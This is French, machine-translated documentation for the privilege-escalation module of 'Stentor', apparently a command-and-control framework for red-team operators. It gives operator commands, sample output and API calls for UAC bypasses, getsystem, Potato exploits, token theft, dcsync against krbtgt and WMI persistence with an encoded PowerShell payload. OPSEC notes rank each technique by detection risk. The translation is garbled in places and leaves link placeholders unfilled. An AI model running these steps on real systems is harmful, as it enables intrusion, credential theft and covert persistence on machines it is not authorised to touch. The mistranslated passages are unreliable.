Aller au contenu

Augmentation des privilèges

L'élévation des privilèges dans Stentor suit le modèle d'intégrité Windows : Moyen (utilisateur standard) → Élevé (administrateur) → SYSTÈME (niveau du noyau). Les techniques de contournement de l'UAC relient Moyen à Élevé sans déclencher d'invite de consentement. getsystem passe de High à SYSTEM via l'usurpation d'identité de canal nommé ou la duplication de jeton.

graph LR
    A["Medium Integrity<br/>(Standard User)"] -->|UAC Bypass| B["High Integrity<br/>(Administrator)"]
    B -->|getsystem| C["SYSTEM<br/>(NT AUTHORITY)"]

    style A fill:#f59e0b,color:#000
    style B fill:#3b82f6,color:#fff
    style C fill:#ef4444,color:#fff

ATTAQUE À ONGLET&CK

L'escalade de privilèges correspond à [T1548.002 - Contourner le contrôle de compte d'utilisateur] (PHTOKEN_0) pour les contournements UAC, [T1134.001 - Usurpation d'identité/vol de jeton] (PHTOKEN_1) pour la manipulation de jeton et [T1543.003 - Service Windows] (PHTOKEN_2) pour l'escalade basée sur le service.


Référence des commandes

Commande Syntaxe Technique De → À Impact de l'OPSEC ATTAQUE À ONGLET&CK
elevate check elevate check Inspection des jetons Aucun T1033
elevate uac-cmlua elevate uac-cmlua <listener> Surnom CMSTPLUA COM Moyen → Élevé Faible T1548.002
elevate fodhelper elevate fodhelper <listener> Détournement de registre Moyen → Élevé Moyen T1548.002
elevate uac-rpc-dom elevate uac-rpc-dom <listener> IRpcOptionsDCOM Moyen → Élevé Faible T1548.002
elevate uac-token-duplication elevate uac-token-duplication <listener> Duplication de jetons Moyen → Élevé Faible T1134.001
elevate svc-exe elevate svc-exe <listener> Service binaire Élevé → SYSTÈME Élevé T1543.003
getsystem getsystem Pipe nommée/jeton dup Élevé → SYSTÈME Moyen T1134.001
runasadmin runasadmin <exploit> <command> Contournement UAC + commande Moyen → Élevé Varie T1548.002
getuid getuid Requête de jeton Aucun T1033
getprivs getprivs Ajustement des privilèges Aucun T1134.002
steal_token steal_token <pid> Vol de jetons Faible T1134.001
make_token make_token <domain\user> <password> Jeton de connexion Faible T1134.002
rev2self rev2self Annuler l'usurpation d'identité Aucun T1134.001

Vérification des privilèges actuels

Avant de tenter une escalade, vérifiez le contexte actuel et le niveau d’intégrité.

getuid

Afficher l'identité actuelle du beacon (domaine\utilisateur).

beacon> getuid
[*] WORKSTATION\LabUser
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "getuid"}'

obtenir des privilèges

Activez tous les privilèges disponibles sur le jeton actuel. Répertorie les privilèges activés après ajustement.

beacon> getprivs
[*] Enabled privileges:
    SeShutdownPrivilege
    SeChangeNotifyPrivilege
    SeUndockPrivilege
    SeIncreaseWorkingSetPrivilege
    SeTimeZonePrivilege
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "getprivs"}'

Interprétation des getprivs

Un jeton d’intégrité moyenne possède généralement 5 à 7 privilèges. Un jeton élevé (High) affichera SeDebugPrivilege, SeImpersonatePrivilege, SeTcbPrivilege et autres. Si SeDebugPrivilege est présent, vous disposez déjà d’une intégrité élevée.

chèque d'élévation

Vérifiez le niveau d’intégrité actuel et l’état d’élévation. Indique si le processus s'exécute avec un niveau d'intégrité élevé et à quel niveau d'intégrité (Faible, Moyen, Élevé, Système).

beacon> elevate check
[*] Process is running with standard user privileges (Integrity: Medium)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate check"}'

Techniques de contournement de l'UAC

Les techniques de contournement de l'UAC élèvent l'intégrité de Moyenne à Élevée sans déclencher d'invite de consentement de l'UAC. Chaque technique génère une nouvelle beacon élevée sur le listener spécifié.

OPSEC

Toutes les techniques de contournement de l'UAC nécessitent une session utilisateur interactive (Session 1+). Ils échoueront à partir de la session 0 (contexte SYSTÈME/service) car ils interagissent avec le bureau ou le registre de l'utilisateur connecté.

Comparaison OPSEC

Méthode Artefacts du registre Génération de processus Utilisation de COM Risque de détection
CMSTPLUA Aucun cmd.exe (caché) Surnom d'élévation Faible
aide alimentaire clé ms-settings (nettoyée) fodhelper.exe + cmd.exe Aucun Moyen
uac-rpc-dom Aucun Varie IRpcOptionsDCOM Faible
duplication de jeton UAC Aucun Processus élevé Aucun Faible

élever uac-cmlua

Contournement du surnom d’élévation CMSTPLUA COM (T1548.002). Le contournement UAC le plus fiable : aucun artefact de registre, aucune suppression de fichier.

Comment ça marche : Instancie l'objet COM CMSTPLUA ({3E5FC7F9-9A51-4367-9063-A120244FBEC7}) à l'aide du surnom d'élévation COM, qui est sur liste blanche pour l'élévation automatique. Appelle ICMLuaUtil::ShellExec pour exécuter le payload du beacon avec une intégrité élevée. Le surnom d’élévation contourne l’invite de consentement, car CMSTPLUA figure dans la liste autorisée d’élévation automatique de Windows.

=== "Coquille"

    ```
    beacon> elevate uac-cmlua https-listener
    [*] UAC bypass via CMSTPLUA -- elevated execution started
    [+] New beacon: WORKSTATION\LabUser (High Integrity)
    ```

=== "API"

    ```bash
    curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"command": "elevate uac-cmlua https-listener"}'
    ```

!!! warning "OPSEC"
    **Artefacts médico-légaux :** Activation du surnom d'élévation COM enregistrée dans le journal des événements COM+. `cmd.exe` est né en tant qu'enfant du substitut COM avec `SW_HIDE`. Aucune modification du registre. Aucune perte de fichier (payload injectée via une technique d'injection standard).

    **MITRE ATT&CK :** [T1548.002](https://attack.mitre.org/techniques/T1548/002/) — Contourner le contrôle de compte d'utilisateur

!!! tip "Recommandé"
    CMSTPLUA est le contournement UAC préféré pour la plupart des engagements. Il présente l'empreinte médico-légale la plus faible (pas d'écriture dans le registre, pas de suppression de fichiers) et la fiabilité la plus élevée sur toutes les versions de Windows.

élever fodhelper

Contournement de l'UAC basé sur le registre via fodhelper.exe (T1548.002). Détourne le gestionnaire de shell ms-settings.

Comment ça marche : Crée HKCU\Software\Classes\ms-settings\shell\open\command avec DelegateExecute défini sur une chaîne vide et la valeur par défaut pointant vers le payload du beacon. Appelle fodhelper.exe, qui est un binaire à élévation automatique qui lit cette clé de registre et exécute la commande spécifiée avec une intégrité élevée. Les clés de registre sont nettoyées immédiatement après l'exécution.

beacon> elevate fodhelper https-listener
[*] UAC bypass attempted via fodhelper.exe - elevated process should have spawned
[+] New beacon: WORKSTATION\LabUser (High Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate fodhelper https-listener"}'

OPSEC

Artefacts médico-légaux : Création de clé de registre à HKCU\Software\Classes\ms-settings\shell\open\command (nettoyée après l'exécution mais peut être capturée par l'ID d'événement Sysmon 12/13). Création du processus de fodhelper.exe suivi du processus enfant cmd.exe.

MITRE ATT&CK : T1548.002 — Contourner le contrôle de compte d'utilisateur

élever uac-rpc-dom

Contournement de l'UAC basé sur le domaine IRpcOptions (T1548.002). Utilise la manipulation de l'interface COM pour modifier le contexte d'activation.

Comment ça marche : Manipule l'interface COM IRpcOptions pour modifier le contexte d'activation DCOM, permettant à l'appelant d'invoquer des objets COM à élévation automatique sans le flux d'invite UAC normal. Cette technique exploite la façon dont Windows résout le domaine d'activation pour les objets COM.

beacon> elevate uac-rpc-dom https-listener
[*] UAC bypass via IRpcOptions -- elevated execution started
[+] New beacon: WORKSTATION\LabUser (High Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate uac-rpc-dom https-listener"}'

OPSEC

Artefacts médico-légaux : Événements d'activation DCOM. Aucun artefact de registre. Aucun fichier ne tombe.

MITRE ATT&CK : T1548.002 — Contourner le contrôle de compte d'utilisateur

élever la duplication du jeton uac

Contournement UAC de duplication de jeton (T1134.001 + T1548.002). Duplique un jeton élevé à partir d’un processus privilégié.

Comment ça marche : Recherche un processus exécuté avec un jeton élevé (haute intégrité), ouvre son jeton de processus avec PROCESS_QUERY_INFORMATION, duplique le jeton via DuplicateTokenEx et l'utilise pour générer un nouveau processus. Le processus généré hérite du jeton élevé et s'exécute avec une intégrité élevée.

beacon> elevate uac-token-duplication https-listener
[*] UAC bypass via token duplication -- elevated process spawned
[+] New beacon: WORKSTATION\LabUser (High Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate uac-token-duplication https-listener"}'

OPSEC

Artéfacts médico-légaux : OpenProcess sur un processus élevé (ID d'événement Sysmon 10). Événements de duplication de jetons. Création de processus avec jeton dupliqué.

MITRE ATT&CK : T1134.001 — Manipulation du jeton d'accès : usurpation d'identité/vol de jeton, T1548.002 — Contourner le contrôle des comptes d'utilisateurs


Getsystem (Élevé → SYSTÈME)

Élevez de Haute intégrité (administrateur) à NT AUTHORITY\SYSTEM. Nécessite un beacon déjà élevée.

obtenir le système

Usurpation d’identité de canal nommé avec création de service (T1134.001, T1543.003). Deux techniques disponibles : le mode automatique essaie les deux.

Comment ça marche (Technique 1 — Named Pipe) :

  1. Crée un canal nommé (\\.\pipe\stentor_XXXX) avec un nom aléatoire
  2. Crée un service Windows temporaire dont le chemin binaire écrit dans le canal (cmd.exe /c echo ok > \\.\pipe\stentor_XXXX)
  3. Démarre le service - le service s'exécute en tant que SYSTEM et se connecte au canal
  4. Emprunte l'identité du client de canal nommé via ImpersonateNamedPipeClient, obtenant le jeton SYSTEM
  5. Duplique le jeton SYSTEM et l'applique au thread de beacon
  6. Supprime le service temporaire et ferme le canal

Comment ça marche (Technique 2 — Duplication de jetons) :

  1. Active SeDebugPrivilege sur le jeton de processus actuel
  2. Énumère les processus pour trouver un processus SYSTEM (essaye winlogon.exe, lsass.exe, services.exe dans l'ordre)
  3. Ouvre le jeton de processus cible avec TOKEN_DUPLICATE
  4. Duplique le jeton via DuplicateTokenEx pour l'usurpation d'identité
  5. Applique le jeton SYSTEM au thread de beacon
beacon> getsystem
[*] Impersonating NT AUTHORITY\SYSTEM [via named pipe impersonation]
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "getsystem"}'

OPSEC

Artefacts médico-légaux (Technique 1) : Création de service temporaire (ID d'événement 7045 — nom du service stentorsvc_XXXX). Création de canal nommé. Le service est supprimé après utilisation, mais l'entrée du journal des événements persiste.

Artefacts médico-légaux (Technique 2) : OpenProcess sur le processus SYSTEM (ID d'événement Sysmon 10). Utilisation de SeDebugPrivilege. Duplication de jetons.

MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton, T1543.003 — Créer ou modifier un processus système : service Windows

Prérequis

getsystem nécessite Haute intégrité (administrateur élevé). Le gestionnaire côté serveur valide le niveau d'intégrité avant d'envoyer la commande. Si votre intégrité est moyenne, utilisez d'abord un contournement UAC.


Escalade basée sur les services

élever svc-exe

Exécution binaire du service (T1543.003). Crée un service Windows qui exécute un payload de beacon en tant que SYSTEM.

Comment ça marche : Dépose un service EXE sur le disque, crée un service Windows pointant vers ce binaire et démarre le service. Le service s'exécute sous le nom LocalSystem et exécute le payload du beacon, qui se reconnecte en tant que nouvelle beacon de niveau SYSTÈME. Plus persistant que getsystem mais laisse plus d'artefacts.

beacon> elevate svc-exe https-listener
[*] Service-based privilege escalation started
[+] New beacon: NT AUTHORITY\SYSTEM (System Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate svc-exe https-listener"}'

OPSEC

Artefacts médico-légaux : Le binaire du service a été déposé sur le disque. Création de service (ID d'événement 7045). Démarrage du service (ID d’événement 7036). Le binaire du service est un EXE de beacon autonome — une surface de détection plus élevée que getsystem.

MITRE ATT&CK : T1543.003 — Créer ou modifier un processus système : service Windows


Augmentation des privilèges sur les pommes de terre

Les techniques Potato exploitent Windows COM/DCOM et l'usurpation d'identité de jeton pour passer des comptes de service (SeImpersonatePrivilege) à NT AUTHORITY\SYSTEM. Il s'agit de techniques de remontée du service vers le SYSTÈME (à distinguer du contournement UAC qui est de l'utilisateur à l'administrateur).

Prérequis

Toutes les techniques de pommes de terre nécessitent SeImpersonatePrivilege. Ceci est présent par défaut sur les comptes de service, les identités IIS AppPool, SQL Server et d'autres contextes de service Windows. Utilisez getprivs pour vérifier.

élever la patate douce

Patate douce (T1134.001). Abuse du service d'activation COM/DCOM pour capturer un jeton SYSTEM via un faux résolveur OXID, puis crée un nouveau processus en tant que SYSTEM en utilisant CreateProcessAsUserW.

beacon> elevate sweetpotato https-listener
[*] SweetPotato privilege escalation started
[+] New beacon: NT AUTHORITY\SYSTEM (System Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate sweetpotato https-listener"}'

OPSEC

  • Risque élevé -- L'activation d'objets COM et la manipulation de jetons génèrent plusieurs entrées de journal d'événements
  • L'usurpation d'identité de canal nommé crée un serveur de canal (détectable via l'événement Sysmon 17/18)
  • Utilise l'assistant checkSeImpersonatePrivilege partagé et CreateProcessAsUserW pour la création de processus basés sur des jetons
  • MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton

élever la pomme de terre divine

DieuPomme de terre (T1134.001). Utilise un chemin d'abus COM/DCOM différent via l'interaction du service RpcSs pour obtenir un jeton SYSTEM. Fonctionne sur Windows Server 2019+ où SweetPotato peut être corrigé.

beacon> elevate godpotato https-listener
[*] GodPotato privilege escalation started
[+] New beacon: NT AUTHORITY\SYSTEM (System Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate godpotato https-listener"}'

OPSEC

  • Risque élevé – similaire à SweetPotato avec des artefacts d'interaction COM/DCOM
  • Usurpation d'identité de jeton via DuplicateTokenEx + CreateProcessAsUserW
  • MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton

élever une pomme de terre juteuse

JuicyPotatoNG (T1134.001). Force brute 12 CLSID à intervalles de 500 ms pour trouver un serveur COM exploitable pour la capture de jetons. Le plus fiable sur différentes versions de Windows mais le plus lent (jusqu'à 6 secondes pour la force brute CLSID).

beacon> elevate juicypotatong https-listener
[*] JuicyPotatoNG privilege escalation started (brute-forcing CLSIDs...)
[+] New beacon: NT AUTHORITY\SYSTEM (System Integrity)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "elevate juicypotatong https-listener"}'

OPSEC

  • Risque élevé – force brute 12 CLSID qui génèrent plusieurs événements d'activation COM
  • Chaque tentative CLSID prend 500 ms (jusqu'à 6 secondes au total)
  • L'usurpation d'identité de canal nommé réutilise l'infrastructure de procédure de canal nommé getsystem
  • MITRE ATT&CK : T1134.001 — Usurpation d'identité/vol de jeton

Choisir une technique de pomme de terre

Technique Vitesse Compatibilité Idéal pour
sweetpotato Rapide Win10/Serveur 2016+ Premier choix – exécution la plus rapide
godpotato Rapide Serveur 2019+ Lorsque SweetPotato échoue (environnements corrigés)
juicypotatong Lent (6s) Le plus large Dernier recours : force brute sur plusieurs CLSID

Exécuter en tant qu'administrateur

runasadmin

Exécutez une commande arbitraire avec le contournement UAC. Contrairement à elevate (qui génère une nouvelle beacon), runasadmin exécute une commande spécifique avec des privilèges élevés.

Syntaxe : runasadmin <exploit> <command>

Exploits pris en charge : uac-cmlua, uac-rpc-dom, uac-token-duplication, fodhelper

beacon> runasadmin uac-cmlua whoami /priv
[*] UAC bypass via CMSTPLUA -- elevated execution of: whoami /priv
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "runasadmin uac-cmlua whoami /priv"}'

Quand utiliser

Utilisez runasadmin lorsque vous devez exécuter une seule commande élevée sans générer de beacon complète. Pour un accès élevé persistant, utilisez plutôt elevate.


Manipulation des jetons

La manipulation de jetons permet au beacon d'usurper l'identité des contextes de sécurité d'autres utilisateurs pour les opérations réseau, les mouvements latéraux et les changements de privilèges.

voler_jeton

Voler et usurper l'identité d'un jeton dans un processus en cours d'exécution (T1134.001).

Comment ça marche : Ouvre le descripteur de processus cible, ouvre son jeton de processus avec TOKEN_DUPLICATE | TOKEN_QUERY, duplique le jeton via DuplicateTokenEx en tant que jeton d'usurpation d'identité et l'applique au thread de beacon via ImpersonateLoggedOnUser.

beacon> steal_token 1234
[*] Impersonating DOMAIN\AdminUser (stolen from PID 1234)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "steal_token 1234"}'

OPSEC

Nécessite SeDebugPrivilege pour le vol de jetons entre sessions. OpenProcess sur le PID cible génère l'ID d'événement Sysmon 10. Les événements de duplication de jeton et d'usurpation d'identité sont enregistrés.

MITRE ATT&CK : T1134.001 — Manipulation du jeton d'accès : usurpation d'identité/vol de jeton

make_token

Créez un jeton de connexion réseau pour un utilisateur spécifié (T1134.002). Le jeton est créé à l'aide de LOGON32_LOGON_NEW_CREDENTIALS, ce qui signifie qu'il affecte uniquement les opérations réseau — l'identité locale (getuid) reste inchangée.

beacon> make_token DOMAIN\svc_admin P@ssw0rd123
[*] Impersonating DOMAIN\svc_admin (network logon token)
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "make_token DOMAIN\\svc_admin P@ssw0rd123"}'

Identité réseau uniquement

make_token ne change pas votre identité locale. getuid affichera toujours l'utilisateur d'origine. Les nouveaux identifiants ne sont utilisés que pour l'authentification réseau (SMB, LDAP, WinRM, etc.). C’est idéal pour les mouvements latéraux avec des informations d’identification récoltées.

OPSEC

LogonUserW avec LOGON32_LOGON_NEW_CREDENTIALS génère l'ID d'événement 4624 (Type de connexion 9 — NewCredentials). Empreinte médico-légale minimale puisqu'aucune authentification réseau n'a lieu jusqu'à ce que le jeton soit réellement utilisé.

MITRE ATT&CK : T1134.002 — Manipulation du jeton d'accès : créer un processus avec un jeton

rev2self

Abandonnez toute usurpation d’identité et revenez à l’identité d’origine du beacon.

beacon> rev2self
[*] Reverted to original token: WORKSTATION\LabUser
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "rev2self"}'

Toujours rev2self

Après avoir terminé les opérations avec un jeton volé ou créé, appelez toujours rev2self pour revenir à l'identité d'origine du beacon. Les jetons d'emprunt d'identité persistants peuvent provoquer un comportement inattendu avec les commandes suivantes.


Magasin de jetons

Le magasin de jetons permet de gérer plusieurs jetons volés sans se faire passer immédiatement pour eux. Les jetons sont stockés par identifiant et peuvent être activés sur demande.

token_store voler

Volez un jeton d’un processus et stockez-le sans usurper l’identité.

beacon> token_store steal 1234
[*] Token stolen from PID 1234 and stored as ID 1 (DOMAIN\AdminUser)

utilisation de token_store

Usurer l'identité d'un jeton stocké par ID.

beacon> token_store use 1
[*] Now impersonating stored token 1: DOMAIN\AdminUser

spectacle token_store

Répertoriez tous les jetons stockés avec leurs identifiants, utilisateurs et PID source.

beacon> token_store show
[*] Stored tokens:
    ID  User                    Source PID
    1   DOMAIN\AdminUser        1234
    2   DOMAIN\SQLService       5678
    3   NT AUTHORITY\SYSTEM     4

token_store supprimer

Supprimez un jeton stocké spécifique par ID.

beacon> token_store remove 2
[*] Token 2 removed from store

token_store supprimer_all

Effacez tous les jetons stockés.

beacon> token_store remove_all
[*] All tokens removed from store

Flux de travail du magasin de jetons

Le magasin de jetons est utile lorsque vous avez identifié plusieurs jetons de grande valeur dans différents processus. Stockez-les tous d'abord avec token_store steal, puis basculez entre les identités en utilisant token_store use et rev2self selon les besoins pour différentes opérations.


Flux de travail des opérateurs

Flux de travail de contournement de l'UAC

Passer de l’intégrité moyenne à élevée :

beacon> getuid
[*] WORKSTATION\LabUser

beacon> elevate check
[*] Process is running with standard user privileges (Integrity: Medium)

beacon> elevate uac-cmlua https-listener
[*] UAC bypass via CMSTPLUA -- elevated execution started

# Switch to the new elevated beacon
beacon> getuid
[*] WORKSTATION\LabUser

beacon> elevate check
[*] Process is running with elevated privileges (Integrity: High)

Flux de travail complet du SYSTÈME

Passez de Medium à SYSTEM en deux étapes :

# Step 1: Medium → High (UAC bypass)
beacon> elevate uac-cmlua https-listener
[+] New beacon: WORKSTATION\LabUser (High Integrity)

# Step 2: High → SYSTEM (getsystem)
beacon> getsystem
[*] Impersonating NT AUTHORITY\SYSTEM [via named pipe impersonation]

beacon> getuid
[*] NT AUTHORITY\SYSTEM

Flux de travail pour le vol de jetons

Usurer l'identité d'un autre utilisateur pour les opérations réseau :

# Find interesting processes
beacon> ps
[*] PID   PPID  Name              User
    1234  456   explorer.exe      DOMAIN\DomainAdmin
    5678  456   sqlservr.exe      DOMAIN\SQLService

# Steal the domain admin token
beacon> steal_token 1234
[*] Impersonating DOMAIN\DomainAdmin (stolen from PID 1234)

# Perform privileged network operations
beacon> ls \\dc01\c$
[*] Listing: \\dc01\c$\...

# Revert when done
beacon> rev2self
[*] Reverted to original token

Flux de travail multi-identités

Utilisez le magasin de jetons pour gérer plusieurs identités :

# Harvest tokens from multiple processes
beacon> token_store steal 1234
[*] Token stored as ID 1 (DOMAIN\DomainAdmin)

beacon> token_store steal 5678
[*] Token stored as ID 2 (DOMAIN\SQLService)

# Use admin token for AD operations
beacon> token_store use 1
beacon> dcsync /user:krbtgt

# Switch to SQL service for database access
beacon> rev2self
beacon> token_store use 2
beacon> remote-exec wmi sql01 "whoami"

# Clean up
beacon> rev2self
beacon> token_store remove_all

Persistance de l’abonnement aux événements WMI

Créez des abonnements aux événements WMI pour une exécution de code persistante lors des redémarrages. Utilise l'interface COM IWbemServices pour installer les objets __EventFilter, CommandLineEventConsumer et __FilterToConsumerBinding dans l'espace de noms root\subscription WMI.

persister wmi

Syntaxe : persist wmi <name> <command> [trigger]

Paramètre Type Obligatoire Description
name chaîne Oui Nom de l'abonnement (utilisé pour le nettoyage)
command chaîne Oui Commande à exécuter sur le déclencheur
trigger chaîne Non Requête d'événement WQL (par défaut : démarrage du système)
beacon> persist wmi StentorBackup "powershell -enc <payload>"
[*] WMI subscription 'StentorBackup' created
[+] EventFilter: __InstanceModificationEvent (Win32_LocalTime)
[+] Consumer: CommandLineEventConsumer
[+] Binding: Filter → Consumer linked
curl -s -X POST https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "persist wmi StentorBackup \"powershell -enc <payload>\""}'

Suppression :

beacon> persist wmi_remove StentorBackup
[*] WMI subscription 'StentorBackup' removed (filter + consumer + binding)

OPSEC

  • Risque moyen – Les abonnements WMI sont un mécanisme de persistance bien connu
  • Crée des objets dans l'espace de noms root\subscription (interrogeable via Get-WMIObject)
  • ID d'événement 5861 (activité WMI) enregistré lorsque l'abonnement se déclenche
  • Utilise l'interface COM IWbemServices (réutilise l'infrastructure COM vtable existante du module de tâches planifiées)
  • L'abonnement survit aux redémarrages et s'exécute en tant que SYSTEM
  • MITRE ATT&CK : T1546.003 — Exécution déclenchée par un événement : abonnement aux événements WMI